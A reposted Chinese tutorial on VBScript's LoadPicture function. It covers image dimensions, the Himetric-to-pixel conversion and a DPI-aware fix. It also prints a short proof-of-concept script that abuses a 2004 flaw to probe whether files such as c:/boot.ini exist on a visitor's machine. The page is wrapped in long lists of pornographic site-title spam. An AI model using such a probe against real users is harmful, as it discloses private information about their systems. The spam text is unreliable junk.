亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 編程 > VBScript > 正文

vbscript LoadPicture函數使用方法與漏洞利用

2020-06-26 18:18:41
字體:
來源:轉載
供稿:網友
因為有人說這里LoadPicture的代碼有些問題,所以這里給修正下,方便需要的朋友
 

 

復制代碼代碼如下:

<title>LoadPicture函數</title> 
<form name="frm"> 
選擇圖片<input type="file" name="pic" onChange="GetPicInfor()" > 
</form> 
<script language="vbscript"> 

Sub GetPicInfor() 
dim objpic,iWidth,iHeight 
dim pictype,picpath 
picpath=document.frm.pic.value 
set objpic=Loadpicture(picpath) 
iWidth = round(objpic.width / 26.4583) '26.4583是像素值 
iHeight = round(objpic.height / 26.4583) 
select case objpic.type 
case 0 
pictype = "None" 
case 1 
pictype = "Bitmap" 
case 2 
pictype = "Metafile" 
case 3 
pictype = "Icon" 
case 4 
pictype = "Win32-enhanced metafile" 
end select 
document.write "你選擇了圖片"&picpath 
document.write "<li>長度:"&iHeight&"</li>" 
document.write "<li>寬度:"&iwidth&"</li>" 
document.write "<li>類型:"&pictype&"</li>" 
End Sub 
</script> 


不過這個函數有個漏洞,可以探測電腦上存在的文件名。2004年的漏洞,微軟現在也沒補,示例: 

復制代碼代碼如下:

<form onsubmit="doIt(this);return false"> 
<input name="filename" value="c:/boot.ini" size="80" type="text"><input type="submit"> 
</form> 
<script language="vbscript"> 
Sub loadIt(filename) 
LoadPicture(filename) 
End Sub 
</script> 
<script language="javascript"> 
function doIt(form) { 
try { 
loadIt(form.filename.value); 
} catch(e) { 
result = e.number; 

if (result != -2146827856) { 
alert('file exists'); 
} else { 
alert('file does not exist'); 


</script> 


這段代碼中有一個“魔法數字(Magic Number)”26.4583,曾經有位昵稱是“亂碼”的朋友問過我這個26.4583是怎么來的,當時我也不知道。 

前段時間逆向分析了一下vbscript.dll,才發現了其中的奧秘: 
復制代碼代碼如下:

26.4583 = 2540 / 96 

那你一定要問,這個2540和96又是怎么來的? 

要弄清楚這個問題,首先要知道VBS的LoadPicture函數返回的到底是什么,VBS文檔是這么描述LoadPicture函數的: 

Returns a picture object. Available only on 32-bit platforms. 

只說返回圖片對象,卻沒說該圖片對象有什么屬性和方法。文檔語焉不詳,只好動用OllyDbg了: 

vbscript LoadPicture函數使用方法與漏洞利用

LoadPicture函數內部調用了OleLoadPicture函數,查文檔可知返回的是IPictureDisp接口。不過后來我發現了更簡單的方法,那就是查VB的函數聲明(誰讓它們是一家人呢),在VB的對象瀏覽器中查找LoadPicture函數: 

Function LoadPicture([FileName], [Size], [ColorDepth], [X], [Y]) As IPictureDisp雖然VBS的LoadPicture函數比VB的簡單,但是返回值應該是一樣的。 

好了,知道返回的是IPictureDisp接口,文檔說它支持下面的屬性:

Property Type Access Description
Handle OLE_HANDLE (int) R The Windows GDI handle of the picture
hPal OLE_HANDLE (int) RW The Windows handle of the palette used by the picture.
Type short R The type of picture (see PICTYPE).
Width OLE_XSIZE_HIMETRIC (long) R The width of the picture.
Height OLE_YSIZE_HIMETRIC (long) R The height of the picture.

 

我們只關心Width和Height,它們分別表示圖片的寬和高,但是它們的單位不是像素(Pixel),而是Himetric,我們要做的是把Himetric換算成Pixel。

首先把Himetric換算成英寸(Inch),1 Himetric = 0.01 mm,1 Inch = 2.54 cm,所以1 Inch = 2540 Himetric。

然后從Inch換算成Pixel,1 Inch等于多少Pixel呢?這是由系統的DPI(Dot Per Inch)設置決定的,默認值是96。

現在知道2540和96是怎么來的了吧?不過上面的代碼存在兩個問題:第一,使用了2540/96的近似值,可能會有誤差;第二,使用了DPI的默認值96,而DPI的值是可以在控制面板中修改的。

VBS中LoadPicture函數的正確用法是:
 

復制代碼代碼如下:

Option Explicit 

'By Demon 
Dim p 
Set p = LoadPicture("D:/test.jpg") 
WScript.Echo "Width: " & Himetric2Pixel(p.Width) 
WScript.Echo "Height: " & Himetric2Pixel(p.Height) 

Function Himetric2Pixel(n) 
'1 Inch = 2540 Himetric 
Const key = "HKEY_CURRENT_USER/Control Panel/Desktop/WindowMetrics/AppliedDPI" 
Dim WshShell, dpi 
Set WshShell = WScript.CreateObject("Wscript.Shell") 
dpi = WshShell.RegRead(key) 
Himetric2Pixel = Round(n * dpi / 2540) 
End Function 


Windows 7下通過測試,其他系統中獲取DPI的方法可能會不同,請自行修改。

上面修正的內容來自: http://demon.tw/programming/vbs-loadpicture.html

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
中文字幕精品一区二区精品| 亚洲区bt下载| 一区二区三区美女xx视频| 欧美性视频精品| 国产精品久久久久久久久久小说| 亚洲网址你懂得| 人人澡人人澡人人看欧美| 久久久久久91香蕉国产| 黑人巨大精品欧美一区二区一视频| 亚洲欧美日韩国产中文专区| 91视频国产精品| 亚洲成色999久久网站| 日韩成人在线观看| 亚洲男人天堂2019| 91亚洲国产成人久久精品网站| 91久久精品国产91性色| 国产精品第100页| 欧美性猛交视频| 久久综合久久美利坚合众国| 欧美日韩福利视频| 欧美日韩亚洲成人| 欧美日韩午夜剧场| 97视频在线播放| 国产欧美精品久久久| 国产精品国模在线| 丝袜美腿精品国产二区| 亚洲第一福利在线观看| 久久精品视频亚洲| 精品一区精品二区| 久久精品国产成人精品| 国产一区视频在线| 欧美成人午夜影院| 色偷偷亚洲男人天堂| 久久久久久av| 国产精品99久久久久久久久久久久| 国产一区二区日韩| 2019中文字幕在线观看| 亚洲色图五月天| 亚洲欧美国产精品久久久久久久| 亚洲精品v欧美精品v日韩精品| 亚洲国产成人久久综合一区| 欧美成人在线免费视频| 国产精品成人av在线| 伊人伊成久久人综合网站| 亚洲欧美日韩视频一区| 久久男人av资源网站| 777午夜精品福利在线观看| 国产精品一二三在线| 97人人模人人爽人人喊中文字| 日韩美女中文字幕| 国产69精品99久久久久久宅男| 成人免费网站在线观看| 成人激情电影一区二区| 久久免费视频网| 久久99视频精品| 久久久国产影院| 国产成人精品电影| 在线成人中文字幕| 97视频在线观看网址| 亚洲精品在线视频| 精品国产成人在线| 欧美裸体xxxx极品少妇| 亚洲国产天堂久久综合网| 茄子视频成人在线| 欧美裸身视频免费观看| 亚洲一级片在线看| 97久久超碰福利国产精品…| 成人网在线视频| 亚洲精品视频网上网址在线观看| 国内精品视频久久| 国产福利视频一区| 欧美日韩在线观看视频| 在线播放精品一区二区三区| 亚洲精品在线91| 欧美老女人xx| 福利精品视频在线| 亚洲欧美日韩久久久久久| 欧美怡红院视频一区二区三区| 色在人av网站天堂精品| 91国语精品自产拍在线观看性色| 欧美性高跟鞋xxxxhd| 黑人与娇小精品av专区| 亚洲成人网在线| 欧美精品aaa| 2020欧美日韩在线视频| www.日韩.com| 国产亚洲欧美一区| 国产v综合ⅴ日韩v欧美大片| 国产精品av在线播放| 亚洲成人激情图| 亚洲成人教育av| 日本精品视频在线| 精品中文字幕在线观看| 日韩电影免费在线观看中文字幕| 日韩电影免费在线观看中文字幕| 91午夜在线播放| 懂色aⅴ精品一区二区三区蜜月| 亚洲精品av在线| 亚洲午夜色婷婷在线| 久久这里只有精品视频首页| 日本一本a高清免费不卡| 深夜福利一区二区| 久久久精品网站| 国产免费一区二区三区在线能观看| 久热精品视频在线| 欧美激情一区二区三区在线视频观看| 亚洲第一视频在线观看| 78m国产成人精品视频| 国产精品久久久久久久久粉嫩av| 亚洲欧美日韩爽爽影院| 成人久久18免费网站图片| 久久成人这里只有精品| 亚洲国产成人91精品| 欧美性视频网站| www.日韩系列| 国产一区二区黄| 免费91在线视频| 欧美成人性色生活仑片| 日韩中文字幕免费看| 欧美成人午夜激情视频| 日韩影视在线观看| 欧美日韩亚洲激情| 国产精品久久久久久久久久三级| www.日韩av.com| 久久九九热免费视频| 92裸体在线视频网站| 国产日韩av在线| 亚州欧美日韩中文视频| 日本国产一区二区三区| 久久天天躁狠狠躁老女人| 亚洲男人第一av网站| 91久久精品久久国产性色也91| 国产精品激情av电影在线观看| 日韩成人av在线播放| 97超级碰碰碰| 91久久久久久久久久久| 国产成人精品日本亚洲| 亚洲精品免费在线视频| 国产+人+亚洲| 欧美日韩在线视频一区| 欧美丰满少妇xxxx| 国产精品视频专区| 韩国三级日本三级少妇99| 亚洲福利小视频| 日韩av第一页| 国产精品视频网址| www.日韩不卡电影av| 成人欧美一区二区三区黑人孕妇| 欧美成人三级视频网站| 在线观看精品自拍私拍| 国产视频在线一区二区| 国产做受69高潮| 成人羞羞国产免费| 亚洲精品日韩丝袜精品| 日韩精品免费电影| 欧美久久精品午夜青青大伊人| 少妇av一区二区三区| 日韩成人黄色av| 国产经典一区二区| 国产精品久久久久91| 性色av一区二区三区在线观看| 日韩欧美综合在线视频| 亚洲男人av在线| 精品小视频在线|